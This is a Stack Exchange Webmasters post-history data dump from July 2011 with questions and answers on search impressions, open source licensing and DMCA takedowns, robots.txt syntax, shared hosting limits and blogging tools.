  <row Id="40511" PostHistoryTypeId="2" PostId="16915" RevisionGUID="2cf616ed-feff-475e-b460-694f56315aee" CreationDate="2011-07-15T17:50:16.923" UserId="8972" Text="I see that Google Webmasters give me some numbers as **impressions**, and of course, I know impression literal meaning. But can anyone please explain what impressions are in the context of Search Engine? How they are measured and why some advertisement agents like buysellads.com use them for ads prices?" />
  <row Id="40512" PostHistoryTypeId="1" PostId="16915" RevisionGUID="2cf616ed-feff-475e-b460-694f56315aee" CreationDate="2011-07-15T17:50:16.923" UserId="8972" Text="What are impressions in Google Webmasters?" />
  <row Id="40513" PostHistoryTypeId="3" PostId="16915" RevisionGUID="2cf616ed-feff-475e-b460-694f56315aee" CreationDate="2011-07-15T17:50:16.923" UserId="8972" Text="&lt;search-engines&gt;&lt;advertising&gt;&lt;impressions&gt;" />
  <row Id="40517" PostHistoryTypeId="2" PostId="16916" RevisionGUID="556a9858-60bf-4b12-bda3-14e97dcffac0" CreationDate="2011-07-15T17:51:54.510" UserId="1253" Text="&gt; **Impressions**: The number of times pages from your site were viewed in&#xD;&#xA;&gt; search results, and the percentage increase/decrease in the daily&#xD;&#xA;&gt; average impressions compared to the previous period. (The number of&#xD;&#xA;&gt; days per period defaults to 30, but you can change it at any time.)&#xD;&#xA;&gt; ([source][1])&#xD;&#xA;&#xD;&#xA;In advertising it has a similar but different meaning.&#xD;&#xA;&#xD;&#xA;&gt; **Impression** : According to the &quot;Basic Advertising Measures,&quot; from FAST&#xD;&#xA;&gt; , an ad industry group, an impression is &quot;The count of a delivered&#xD;&#xA;&gt; basic advertising unit from an ad distribution point.&quot; Impressions are&#xD;&#xA;&gt; how most Web advertising is sold and the cost is quoted in terms of&#xD;&#xA;&gt; the cost per thousand impressions (CPM).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=35252" />
  <row Id="40518" PostHistoryTypeId="2" PostId="16917" RevisionGUID="9eb91d29-a879-4821-9989-7f21e97972cf" CreationDate="2011-07-15T17:53:34.967" UserId="4502" Text="&lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?answer=35252&quot;&gt;From docs&lt;/a&gt;:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;The number of times pages from your site were viewed in search results, and the percentage increase/decrease in the daily average impressions compared to the previous period. (The number of days per period defaults to 30, but you can change it at any time.) &lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;Can you point out exactly where Buyselladds is mentioning impressions in their case? Because I think they're talking about impressions *of the ads they're serving* and not what you're looking at in Webmaster Tools. The general concept is the same eg. how many times did people see your ad, but the two numbers wouldn't have any actual relation between them." />
  <row Id="40519" PostHistoryTypeId="5" PostId="16916" RevisionGUID="692ea62c-56fe-4726-9c73-ce064352fb38" CreationDate="2011-07-15T17:57:23.430" UserId="1253" Comment="added 90 characters in body" Text="&gt; **Impressions**: The number of times pages from your site were viewed in&#xD;&#xA;&gt; search results, and the percentage increase/decrease in the daily&#xD;&#xA;&gt; average impressions compared to the previous period. (The number of&#xD;&#xA;&gt; days per period defaults to 30, but you can change it at any time.)&#xD;&#xA;&gt; ([source][1])&#xD;&#xA;&#xD;&#xA;In advertising it has a similar but different meaning.&#xD;&#xA;&#xD;&#xA;&gt; **Impression** : According to the &quot;Basic Advertising Measures,&quot; from FAST&#xD;&#xA;&gt; , an ad industry group, an impression is &quot;The count of a delivered&#xD;&#xA;&gt; basic advertising unit from an ad distribution point.&quot; Impressions are&#xD;&#xA;&gt; how most Web advertising is sold and the cost is quoted in terms of&#xD;&#xA;&gt; the cost per thousand impressions (CPM). ([source][2])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=35252&#xD;&#xA;  [2]: http://whatis.techtarget.com/definition/0,,sid9_gci211535,00.html" />
  <row Id="40520" PostHistoryTypeId="5" PostId="16914" RevisionGUID="844e222c-3184-4e04-872f-ee19b164248a" CreationDate="2011-07-15T18:04:34.077" UserId="7198" Comment="typo; added 104 characters in body" Text="Most of the popular open source licences (e.g. GPL, MIT) permit software to be resold. They also permit it to be redistributed as part of a larger file collection, so long as the original license is included with the bundle.&#xD;&#xA;&#xD;&#xA;So, while their business practises sound shady and I can sympathise with your position, the only thing they appear to have done 'wrong' in a legal sense is to reuse your HTML, CSS, and images without permission. As such, theonlylos' advice about issuing a DMCA takedown notice (for the design, not your open source project) and contacting the web host to ask them to remove the copied site is probably you're only option.&#xD;&#xA;&#xD;&#xA;But contacting PayPal is unlikely to be fruitful; they will want proof that someone is selling your intellectual property without your permission. If you used an open source licence, the chances are that you gave explicit permission to resell your product in that licence, perhaps without even realising it.&#xD;&#xA;&#xD;&#xA;In your shoes, I would do my best to market the open source project to make it plain to all that it's available at no cost (or, if you're selling it, direct from its creators who will offer great support). That way, it's less likely anyone will pay for it from another source." />
  <row Id="40521" PostHistoryTypeId="5" PostId="16914" RevisionGUID="de2bb672-0846-4036-9949-339b11cff12b" CreationDate="2011-07-15T18:14:53.087" UserId="7198" Comment="deleted 2 characters in body" Text="Most of the popular open source licences (e.g. GPL, MIT) permit software to be resold. They also permit it to be redistributed as part of a larger file collection, so long as the original licence is included with the bundle.&#xD;&#xA;&#xD;&#xA;So, while their business practises sound shady and I can sympathise with your position, the only thing they appear to have done 'wrong' in a legal sense is to reuse your HTML, CSS, and images without permission. As such, theonlylos' advice about issuing a DMCA takedown notice (for the design, not your open source project) and contacting the web host to ask them to remove the copied site is probably your only option.&#xD;&#xA;&#xD;&#xA;But contacting PayPal is unlikely to be fruitful; they will want proof that someone is selling your intellectual property without your permission. If you used an open source licence, the chances are that you gave explicit permission to resell your product in that licence, perhaps without even realising it.&#xD;&#xA;&#xD;&#xA;In your shoes, I would do my best to market the open source project to make it plain to all that it's available at no cost (or, if you're selling it, direct from its creators who will offer great support). That way, it's less likely anyone will pay for it from another source." />
  <row Id="40522" PostHistoryTypeId="25" PostId="16915" RevisionGUID="4cec6641-004d-452c-9653-b518860f2ef0" CreationDate="2011-07-15T18:31:43.110" Comment="http://twitter.com/#!/StackWebmasters/status/91938003005620224" />
  <row Id="40523" PostHistoryTypeId="2" PostId="16918" RevisionGUID="35c76127-1a21-457f-99e2-dda42ef2f05b" CreationDate="2011-07-15T18:40:25.547" UserId="4502" Text="I've got a bunch of clients, each using various applications, scripts, etc. and not all of those clients are necessarily &quot;active&quot; at any given moment. Some may be in current development, some may only get occasional updates, others dormant because the project is essentially done though they may come back for something later, and so on.&#xD;&#xA;&#xD;&#xA;I haven't really come up with a good way to keep track of everybody's setup so that when a new WordPress security update comes around, for example, I don't have to do a mental trawl through everyone we work with to see if I need to get in touch. I was curious how others handle this. I know there are license management applications around, but they seem geared toward managing the software of *your own* organization." />
  <row Id="40524" PostHistoryTypeId="1" PostId="16918" RevisionGUID="35c76127-1a21-457f-99e2-dda42ef2f05b" CreationDate="2011-07-15T18:40:25.547" UserId="4502" Text="How do you track client sites' software?" />
  <row Id="40525" PostHistoryTypeId="3" PostId="16918" RevisionGUID="35c76127-1a21-457f-99e2-dda42ef2f05b" CreationDate="2011-07-15T18:40:25.547" UserId="4502" Text="&lt;management&gt;&lt;software&gt;&lt;resources&gt;&lt;clients&gt;" />
  <row Id="40526" PostHistoryTypeId="2" PostId="16919" RevisionGUID="de4b4bba-e863-4fe3-a6f7-29514b35e895" CreationDate="2011-07-15T18:55:50.510" UserId="8950" Text="@John, excellent suggestion. I do believe Google and the other major search engines also follow DMCA notices because quite often I've found that on queries like music and vidos they have a notice at the bottom saying something like &quot;x results have been blocked due to DMCA violations for more information check...&quot; and they link to a website (I forget the name -- think it's ChillingEffects) where they have an entire respitory of DMCA notices that they publish for everyone to see (similar to how trial details are usually kept in public files)." />
  <row Id="40527" PostHistoryTypeId="2" PostId="16920" RevisionGUID="e6b1f165-0e6b-4ef0-8abc-8baaea5bf011" CreationDate="2011-07-15T19:05:36.507" UserId="8950" Text="The only major concern about free hosting I can think of is the ads they force onto your sites (depending on how the links are coded -- i.e. if they're forcing backlinks to malicious sites) and also the domain (e.g. yourname.com is better than yourname.freehost.com) which although not necessarily a technical flaw, to the average visitor it looks more professional.&#xD;&#xA;&#xD;&#xA;I also think that with Google Apps &amp; Webmaster tools, you won't be able to sign up unless you have your own domain. I'm fairly sure that free hosts don't allow your own domain -- however Wordpress.com and Tumblr do allow you to assign domains to your accounts.&#xD;&#xA;&#xD;&#xA;Since hosting is so cheap today, it might be worth getting even one of the $4/month plans just because from experience I haven't touched a free web host since the early 2000's because free hosts tend to place huge limitations.&#xD;&#xA;&#xD;&#xA;*edit* just to clarify about the Google Apps/Webmaster config, having a domain is not a requirement to be indexed by any search engine. I'm just saying if you wanted to access the extra features, having your own domain is  must.&#xD;&#xA;&#xD;&#xA;Also, if you go with a paid host, you do have more leeway with your code and layout/features meaning that you could add more SEO friendly capabilities to your site, which might not be permitted or blocked by the free host.&#xD;&#xA;&#xD;&#xA;Still, Google's indexing can take a couple of weeks to pickup your site at first, so patience always is key. Afterwards however the indexing varies based on a ton of factors such as update frequency (i.e. a blog gets searched more than a static site), reputation, content type, and more." />
  <row Id="40531" PostHistoryTypeId="2" PostId="16922" RevisionGUID="bb2eaa46-317e-44e6-832f-bdc4c5062bcc" CreationDate="2011-07-15T19:30:46.180" UserId="1240" Text="I really like [Redmine][1] for things like this.&#xD;&#xA;&#xD;&#xA;You set up each client as a project then you can have an ongoing (and easily searchable) wiki or timeline of events.  It will hook into your VCS so you can even see code changes between clients and projects.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.redmine.org/" />
  <row Id="40538" PostHistoryTypeId="17" PostId="16923" RevisionGUID="1bd0c166-cb35-4773-a6cd-d53c823cc78e" CreationDate="2011-07-15T19:49:59.497" UserId="-1" Comment="from http://stackoverflow.com/questions/6709927/how-do-i-disallow-an-entire-directory-with-robots-txt" Text="" />
  <row Id="40539" PostHistoryTypeId="2" PostId="16924" RevisionGUID="44ffa406-7d3b-42b0-b176-2e622f98d522" CreationDate="2011-07-15T16:08:43.567" UserId="1253" Text="You don't need the trailing slash  to block those directories. This will work:&#xD;&#xA;&#xD;&#xA;    Disallow: /first_url/*&#xD;&#xA;    Disallow: /second_url/*&#xD;&#xA;&#xD;&#xA;This [Google help page][1] covers this quite well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/web/controlcrawlindex/docs/robots_txt.html" />
  <row Id="40540" PostHistoryTypeId="2" PostId="16923" RevisionGUID="30fa63c4-9f75-4745-8cc8-1cc97290e277" CreationDate="2011-07-15T16:02:41.010" UserDisplayName="Tamer" Text="I have two sites I am currently working on which is a shopping cart and another shopper...Both are under the same domain name so for example &#xD;&#xA;&#xD;&#xA;    http://someurl.com/first_url &#xD;&#xA;    http://someurl.com/second_url &#xD;&#xA;&#xD;&#xA;Both these urls have tons of pages below them &#xD;&#xA;&#xD;&#xA;    http://someurl.com/first_url/product1&#xD;&#xA;    http://someurl.com/first_url/product2 &#xD;&#xA;    http://someurl.com/first_url/product3&#xD;&#xA;&#xD;&#xA;    http://someurl.com/second_url/product1&#xD;&#xA;    http://someurl.com/second_url/product2 &#xD;&#xA;    http://someurl.com/second_url/product3&#xD;&#xA;&#xD;&#xA;How do I disallow the main url /first_url and /second_url to and all the subpages and sub directories ...I was thinking something like this but I don't know if this works or not and whether it was the correct syntax&#xD;&#xA;&#xD;&#xA;    Disallow: /first_url/*/&#xD;&#xA;    Disallow: /second_url/*/&#xD;&#xA;" />
  <row Id="40541" PostHistoryTypeId="1" PostId="16923" RevisionGUID="30fa63c4-9f75-4745-8cc8-1cc97290e277" CreationDate="2011-07-15T16:02:41.010" UserDisplayName="Tamer" Text="How do I disallow an entire directory with robots.txt?" />
  <row Id="40542" PostHistoryTypeId="3" PostId="16923" RevisionGUID="30fa63c4-9f75-4745-8cc8-1cc97290e277" CreationDate="2011-07-15T16:02:41.010" UserDisplayName="Tamer" Text="&lt;seo&gt;&lt;robots.txt&gt;" />
  <row Id="40543" PostHistoryTypeId="17" PostId="16924" RevisionGUID="0c3ffd73-4edb-4491-958e-a05cd24928db" CreationDate="2011-07-15T19:49:59.497" UserId="-1" Comment="from http://stackoverflow.com/questions/6709927/how-do-i-disallow-an-entire-directory-with-robots-txt" Text="" />
  <row Id="40544" PostHistoryTypeId="2" PostId="16925" RevisionGUID="1ef14181-1b38-46ba-9c80-f7bc3243d64c" CreationDate="2011-07-15T19:52:55.560" UserId="8950" Text="Copyscape definately is one of the leaders out there although in additon you could also Google select quotes from articles of interest to see how many results come up.&#xD;&#xA;&#xD;&#xA;For example you can copy paste something like &quot;I highly recommend resturaunt x in NYC for high quality goods&quot; (with the quotes) or some fairly unique phrase that you wouldn't think of randomly and gauge the results to get an additional idea.&#xD;&#xA;&#xD;&#xA;Having a reliable source for content also is crucial. Sites like Associated Content are typically spammy articles and since they're free, it's copied quite often. Using a copywriter or going to a niche area however should provide better copy." />
  <row Id="40545" PostHistoryTypeId="2" PostId="16926" RevisionGUID="4ac1ae61-2992-4b65-b7ea-86060adc715c" CreationDate="2011-07-15T19:57:15.957" UserId="8799" Text="The *simple* editor you see around is always **TinyMCE** in some dumbed down form.&#xD;&#xA;&#xD;&#xA;Alternatives are [**xinha**][1] and [**ckeditor**][2]&#xD;&#xA;&#xD;&#xA;They both usually sport **more** functionality, but maybe they suit your taste better.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://trac.xinha.org/&#xD;&#xA;  [2]: http://ckeditor.com/" />
  <row Id="40546" PostHistoryTypeId="2" PostId="16927" RevisionGUID="e053171d-ce16-4c27-890a-f73fde725dd3" CreationDate="2011-07-15T20:04:08.077" UserId="4432" Text="Consider our AspNetForum as well, it's supports Windows-integrated authentication and integrates tightly with Active Directory&#xD;&#xA;http://www.jitbit.com/asp-net-forum/&#xD;&#xA;&#xD;&#xA;It's an ASP.NET-based forum though, requires a Windows-server, not Ubuntu/Python.&#xD;&#xA;&#xD;&#xA;PS. Please do not consider it as self-promotion since we offer a free evaluation version which is not time-limited." />
  <row Id="40547" PostHistoryTypeId="5" PostId="16926" RevisionGUID="2cc3195c-710b-47e1-8e7f-0c6d2864217f" CreationDate="2011-07-15T20:04:39.513" UserId="8799" Comment="added 293 characters in body" Text="The *simple* editor you see around is always **TinyMCE** in some dumbed down form.&#xD;&#xA;&#xD;&#xA;Alternatives are [**xinha**][1] and [**ckeditor**][2]&#xD;&#xA;&#xD;&#xA;They both usually sport **more** functionality, but maybe they suit your taste better.&#xD;&#xA;&#xD;&#xA;Wikipedia/Mediawiki should be using [**MeanEditor**][3] if that's what you're after.  &#xD;&#xA;They also offer [*pointers to other similar editors*][4] in various stages of production.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://trac.xinha.org/&#xD;&#xA;  [2]: http://ckeditor.com/&#xD;&#xA;  [3]: http://www.mediawiki.org/wiki/Extension:MeanEditor&#xD;&#xA;  [4]: http://www.mediawiki.org/wiki/WYSIWYG_editor" />
  <row Id="40548" PostHistoryTypeId="2" PostId="16928" RevisionGUID="f18c22c1-8283-43f8-ad9d-f855c44cf66b" CreationDate="2011-07-15T20:30:32.473" UserId="6033" Text="When using long tail search phrases for products (items to purchase), google generally returns multiple URLS for various ecommerce sites, but it hides additional urls for that site behind ![show more results][1]. &#xD;&#xA;&#xD;&#xA;Each site tends to get one URL in the SERP and the rest are hidden (this isn't always the case as sometimes it shows 4 or 5 pages for a given domain but they are almost always grouped together). &#xD;&#xA;&#xD;&#xA;Since all of the domain's pages for that specific search phrase show up as one position in the original SERP, is google using domain authority to determine ranking for the collection of pages, or is it ranking the entire set of pages for the domain based on the one page it chose to display in the SERP?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/NuuYC.jpg" />
  <row Id="40549" PostHistoryTypeId="1" PostId="16928" RevisionGUID="f18c22c1-8283-43f8-ad9d-f855c44cf66b" CreationDate="2011-07-15T20:30:32.473" UserId="6033" Text="Google Ranking for long tail search phrases" />
  <row Id="40550" PostHistoryTypeId="3" PostId="16928" RevisionGUID="f18c22c1-8283-43f8-ad9d-f855c44cf66b" CreationDate="2011-07-15T20:30:32.473" UserId="6033" Text="&lt;google&gt;&lt;serps&gt;" />
  <row Id="40551" PostHistoryTypeId="5" PostId="16928" RevisionGUID="e25cd7e5-59da-4a7c-8253-060d40913ad6" CreationDate="2011-07-15T20:38:19.653" UserId="6033" Comment="edited body" Text="When using long tail search phrases for products (items to purchase), google generally returns multiple URLS for various ecommerce sites, but it hides additional urls for each site behind ![show more results][1]. &#xD;&#xA;&#xD;&#xA;Each site tends to get one URL in the SERP and the rest are hidden (this isn't always the case as sometimes it shows 4 or 5 pages for a given domain but they are almost always grouped together). &#xD;&#xA;&#xD;&#xA;Since the related pages for each domain show up grouped together in the original SERP, is google using domain authority to determine ranking for the collection of pages, or is it ranking the entire set of pages for the domain based on the one page it chose to display in the SERP?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/NuuYC.jpg" />
  <row Id="40552" PostHistoryTypeId="2" PostId="16929" RevisionGUID="a206e983-a254-476d-b3c9-53a011cfd3b4" CreationDate="2011-07-15T20:40:52.947" UserId="1253" Text="[Showing more results from a domain][1].&#xD;&#xA;&#xD;&#xA;&gt; Today we’ve launched a change to our ranking algorithm that will make&#xD;&#xA;&gt; it much easier for users to find a large number of results from a&#xD;&#xA;&gt; single site. For queries that indicate a strong user interest in a&#xD;&#xA;&gt; particular domain, like [exhibitions at amnh], we’ll now show more&#xD;&#xA;&gt; results from the relevant site:&#xD;&#xA;&gt; &#xD;&#xA;&gt; Prior to today’s change, only two results from www.amnh.org would have&#xD;&#xA;&gt; appeared for this query. Now, we determine that the user is likely&#xD;&#xA;&gt; interested in the Museum of Natural History’s website, so seven&#xD;&#xA;&gt; results from the amnh.org domain appear. Since the user is looking for&#xD;&#xA;&gt; exhibitions at the museum, it’s far more likely that they’ll find what&#xD;&#xA;&gt; they’re looking for, faster. The last few results for this query are&#xD;&#xA;&gt; from other sites, preserving some diversity in the results. &#xD;&#xA;&gt; &#xD;&#xA;&gt; We’re always reassessing our ranking and user interface, making&#xD;&#xA;&gt; hundreds of changes each year. We expect today’s improvement will help&#xD;&#xA;&gt; users find deeper results from a single site, while still providing&#xD;&#xA;&gt; diversity on the results page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/08/showing-more-results-from-domain.html" />
  <row Id="40553" PostHistoryTypeId="2" PostId="16930" RevisionGUID="0ecb2207-8d79-4246-8700-eb8f2e61d9a9" CreationDate="2011-07-15T20:47:03.897" UserId="4432" Text="I'm looking for a blogging engine (hosted or downloadable) that will allow:&#xD;&#xA;&#xD;&#xA; - guest posting (anyone can register an account and post)&#xD;&#xA; - file-attachments (you can attach files to posts)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="40554" PostHistoryTypeId="1" PostId="16930" RevisionGUID="0ecb2207-8d79-4246-8700-eb8f2e61d9a9" CreationDate="2011-07-15T20:47:03.897" UserId="4432" Text="Blogging platform that supports guest-posting" />
  <row Id="40555" PostHistoryTypeId="3" PostId="16930" RevisionGUID="0ecb2207-8d79-4246-8700-eb8f2e61d9a9" CreationDate="2011-07-15T20:47:03.897" UserId="4432" Text="&lt;blog&gt;&lt;web-applications&gt;&lt;blogging&gt;" />
  <row Id="40556" PostHistoryTypeId="5" PostId="16930" RevisionGUID="aead63a1-5eaf-461e-a12d-5bc97fc45c52" CreationDate="2011-07-15T20:49:31.003" UserId="1253" Comment="modified tags" Text="I'm looking for a blogging engine (hosted or downloadable) that will allow:&#xD;&#xA;&#xD;&#xA; - guest posting (anyone can register an account and post)&#xD;&#xA; - file-attachments (you can attach files to posts) &#xD;&#xA;&#xD;&#xA;" />
  <row Id="40557" PostHistoryTypeId="6" PostId="16930" RevisionGUID="aead63a1-5eaf-461e-a12d-5bc97fc45c52" CreationDate="2011-07-15T20:49:31.003" UserId="1253" Comment="modified tags" Text="&lt;looking-for-a-script&gt;&lt;blog&gt;&lt;web-applications&gt;" />
  <row Id="40558" PostHistoryTypeId="5" PostId="16927" RevisionGUID="1a843eb2-cead-407b-8d53-70d319a5e67a" CreationDate="2011-07-15T20:50:04.320" UserId="4432" Comment="deleted 11 characters in body" Text="Consider our AspNetForum as well, it's supports Windows-integrated authentication and integrates tightly with Active Directory&#xD;&#xA;http://www.jitbit.com/asp-net-forum/&#xD;&#xA;&#xD;&#xA;It's an ASP.NET-based forum though, requires a Windows-server, not Ubuntu/Python.&#xD;&#xA;&#xD;&#xA;PS. Please do not consider it as self-promotion since we offer a free version which is not time-limited." />
  <row Id="40559" PostHistoryTypeId="2" PostId="16931" RevisionGUID="c6eeab07-68f3-4482-a414-38eec01c1986" CreationDate="2011-07-15T20:51:31.743" UserId="8519" Text="Sorry for asking such an in-exact question, but I would really love to know what professional webmasters consider to be the rough limits of standard shared hosting services (GoDaddy, MediaTemple, ThePlanet, et al). I realise mileage varies massively, but I spend a lot of time wondering when to move growing sites from shared hosting to some more robust like a services like a VPS.&#xD;&#xA;&#xD;&#xA;Would it be fair to say that once a site hits 50,000 page views per month, one should consider better hosting, or should a shared host be able to handle this?" />
  <row Id="40560" PostHistoryTypeId="1" PostId="16931" RevisionGUID="c6eeab07-68f3-4482-a414-38eec01c1986" CreationDate="2011-07-15T20:51:31.743" UserId="8519" Text="What is a rough maximum amount of page views per month that an average shared hosting service should support in your opinion?" />
  <row Id="40561" PostHistoryTypeId="3" PostId="16931" RevisionGUID="c6eeab07-68f3-4482-a414-38eec01c1986" CreationDate="2011-07-15T20:51:31.743" UserId="8519" Text="&lt;shared-hosting&gt;" />
  <row Id="40562" PostHistoryTypeId="2" PostId="16932" RevisionGUID="f43e0a85-ae44-4566-b6e7-444f76b04d0d" CreationDate="2011-07-15T21:15:25.323" UserId="6193" Text="I brand new to Joomla and Joomla development.  &#xD;&#xA;&#xD;&#xA;I would like to get a better feel for what *percentage* of websites are based on 1.5 vs. 1.6?&#xD;&#xA;" />
  <row Id="40563" PostHistoryTypeId="1" PostId="16932" RevisionGUID="f43e0a85-ae44-4566-b6e7-444f76b04d0d" CreationDate="2011-07-15T21:15:25.323" UserId="6193" Text="Popularity of Joomla 1.6 vs. Joomla 1.5?" />
  <row Id="40564" PostHistoryTypeId="3" PostId="16932" RevisionGUID="f43e0a85-ae44-4566-b6e7-444f76b04d0d" CreationDate="2011-07-15T21:15:25.323" UserId="6193" Text="&lt;joomla&gt;" />
  <row Id="40565" PostHistoryTypeId="25" PostId="16928" RevisionGUID="9b8a091f-1489-4eea-acc6-02dc8df1822d" CreationDate="2011-07-15T21:31:42.800" Comment="http://twitter.com/#!/StackWebmasters/status/91983300037574656" />
  <row Id="40566" PostHistoryTypeId="2" PostId="16933" RevisionGUID="aefa0ea2-44a1-4669-ad18-c71da9d15f7c" CreationDate="2011-07-15T21:58:12.090" UserId="4502" Text="A pageview count alone isn't too useful for this question, for the various contextual reasons John already brought up. But if we just go with it anyway consider that 50,000 views a month is only ~1700 per day. If a shared account can't handle that, yes it's a hint the current hosting might suck(that's the technical term). But it says almost nothing about needing to move to a VPS. It just means you should get a better–but still-shared–account/host. &#xD;&#xA;&#xD;&#xA;While VPS accounts do generally come with higher resource limits, for CPU if not necessarily storage, I personally think the more important factor in choosing one is the control you get. eg. root access and so on. If you don't need those things, a good shared host can take care of you for a pretty long time. And if you don't know how to administer an entire server environment, don't even consider it as VPS plans usually come with very limited technical support. The entire point of them is &quot;here's a server; do whatever you want with it.&quot; It's possible to find host-managed VPS setups, but they'll be significantly more expensive.&#xD;&#xA;&#xD;&#xA;Really, there are so many potential variables here the only good answer is &quot;**move when your current setup can't handle whatever you're throwing at it**.&quot; With MediaTemple's grid, for example, there's a &lt;a href=&quot;http://mediatemple.net/webhosting/gs/faq.php#31&quot;&gt;fixed amount&lt;/a&gt; of their service you're allowed to use per month(1000 GPUs), and no upgrade path. If you want to stick with MediaTemple, you'll need to move to a dv plan or higher. I had a client in this situation that I moved to another quality shared host instead, and their system's had no trouble at all handling the site, even as traffic, bandwidth etc. continue to grow." />
  <row Id="40567" PostHistoryTypeId="2" PostId="16934" RevisionGUID="7adaecf6-f4c4-4859-8348-a72e9419a3aa" CreationDate="2011-07-15T22:00:42.753" UserId="1714" Text=" 1.   **How can I evaluate what connection speed I'll need for a particular project?**&#xD;&#xA; - You could estimate `expected concurrent user count` * `expected traffic per user` -- for a site with 200 KB pages and 100 users accessing simultaneously you will need at most 20 MB of bandwidth (of course you need to take into account that page processing also takes time and that **very rarely** do the 100 users request a page in the same momemt; but you get the idea&#xD;&#xA; 4.   **What sort of projects need large connection speeds, and what sort will be fine on smaller ones?**&#xD;&#xA; - I would say the more media content your server delivers the more bandwidth you'll need - although this is probably a scenario for CDN usage; apart from that a high user count will demand high bandwidth&#xD;&#xA; 5.   **What are the signs that I need to upgrade to a server with a faster connection speed?**&#xD;&#xA; - On Windows Server systems you might be able to use the Performance Monitor with its countless counters to find that out (although I'm not that sure which ones to monitor right now).&#xD;&#xA;" />
  <row Id="40568" PostHistoryTypeId="5" PostId="16933" RevisionGUID="abfbcf6a-21fd-4dd1-8466-7a283d043ae3" CreationDate="2011-07-15T22:04:41.313" UserId="4502" Comment="added 134 characters in body" Text="A pageview count alone isn't too useful for this question, for the various contextual reasons John already brought up. But if we just go with it anyway consider that 50,000 views a month is only ~1700 per day. If a shared account can't handle that, yes it's a hint the current hosting might suck(that's the technical term). But it says almost nothing about needing to move to a VPS. It just means you should get a better–but still-shared–account/host. &#xD;&#xA;&#xD;&#xA;While VPS accounts do generally come with higher resource limits, for CPU if not necessarily storage, I personally think the more important factor in choosing one is the control you get. eg. root access and so on. If you don't need those things, a good shared host can take care of you for a pretty long time. And if you don't know how to administer an entire server environment, don't even consider it as VPS plans usually come with very limited technical support. The entire point of them is &quot;here's a server; do whatever you want with it.&quot; It's possible to find host-managed VPS setups, but they'll be significantly more expensive.&#xD;&#xA;&#xD;&#xA;Really, there are so many potential variables here the only good answer is &quot;**move when your current setup can't handle whatever you're throwing at it**.&quot; With MediaTemple's grid, for example, there's a &lt;a href=&quot;http://mediatemple.net/webhosting/gs/faq.php#31&quot;&gt;fixed amount&lt;/a&gt; of their service you're allowed to use per month(1000 GPUs), and no upgrade path. If you want to stick with MediaTemple, you'll need to move to a dv plan or higher. I had a client in this situation that I moved to another quality shared host instead, and their system's had no trouble at all handling the site, even as traffic, bandwidth etc. continue to grow. A trawl through [tag:performance] will turn up various threads on how to actually go about evaluating your system's performance." />
  <row Id="40569" PostHistoryTypeId="2" PostId="16935" RevisionGUID="aafe9096-a2a6-4ad0-8931-6f13cb773104" CreationDate="2011-07-15T22:08:04.353" UserId="6901" Text="Try Wordpress: http://www.wordpress.com/ (the hosted version) or http://www.wordpress.org/ (the self-hosted version)." />
  <row Id="40576" PostHistoryTypeId="25" PostId="16918" RevisionGUID="e13b24c9-ec3a-4d09-86a0-b48b57021dd2" CreationDate="2011-07-16T00:31:42.680" Comment="http://twitter.com/#!/StackWebmasters/status/92028597329592320" />
  <row Id="40577" PostHistoryTypeId="2" PostId="16937" RevisionGUID="7fc5fee1-e67a-46ee-b876-bc64cbc75ce7" CreationDate="2011-07-16T00:45:08.430" UserId="8991" Text="[Piwik][1] is an open source, user friendly web analytics free solution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://piwik.org/" />
  <row Id="40584" PostHistoryTypeId="2" PostId="16940" RevisionGUID="ca7ac0af-414f-435d-a698-e654ea8da238" CreationDate="2011-07-16T03:22:16.040" UserId="8957" Text="You unfortunately don't make it clear which license it's under exactly, the gpl is a fairly restrictive license, however, and he is bound to violate it in some ways. if he is selling your software, he must attach the gpl and make it clear that it's open source.&#xD;&#xA;&#xD;&#xA;&gt; The GPL additionally states that a distributor may not impose &quot;further&#xD;&#xA;&gt; restrictions on the rights granted by the GPL&quot;. This forbids&#xD;&#xA;&gt; activities such as distributing of the software under a non-disclosure&#xD;&#xA;&gt; agreement or contract. Distributors under the GPL also grant a license&#xD;&#xA;&gt; for any of their patents practiced by the software, to practice those&#xD;&#xA;&gt; patents in GPL software. The fourth section for version 2 of the&#xD;&#xA;&gt; license and the seventh section of version 3 require that programs&#xD;&#xA;&gt; distributed as pre-compiled binaries are accompanied by a copy of the&#xD;&#xA;&gt; source code, a written offer to distribute the source code via the&#xD;&#xA;&gt; same mechanism as the pre-compiled binary or the written offer to&#xD;&#xA;&gt; obtain the source code that you got when you received the pre-compiled&#xD;&#xA;&gt; binary under the GPL. The second section of version 2 and the fifth&#xD;&#xA;&gt; section of version 3 also require giving &quot;all recipients a copy of&#xD;&#xA;&gt; this License along with the Program&quot;. Version 3 of the license allows&#xD;&#xA;&gt; making the source code available in additional ways in fulfillment of&#xD;&#xA;&gt; the seventh section. These include downloading source code from an&#xD;&#xA;&gt; adjacent network server or by peer-to-peer transmission, provided that&#xD;&#xA;&gt; is how the compiled code was available and there are &quot;clear&#xD;&#xA;&gt; directions&quot; on where to find the source code.&#xD;&#xA;&#xD;&#xA;I unfortunately couldn't find anything about having to state the original developers, but that issue is quite different from the website code he stole for which i assume you do have the copyright (although i'm not entirely sure how to enforce this)." />
  <row Id="40585" PostHistoryTypeId="25" PostId="16908" RevisionGUID="03af56e5-e0ef-498c-8e2d-1abd35004bc3" CreationDate="2011-07-16T03:31:42.860" Comment="http://twitter.com/#!/StackWebmasters/status/92073895947014144" />
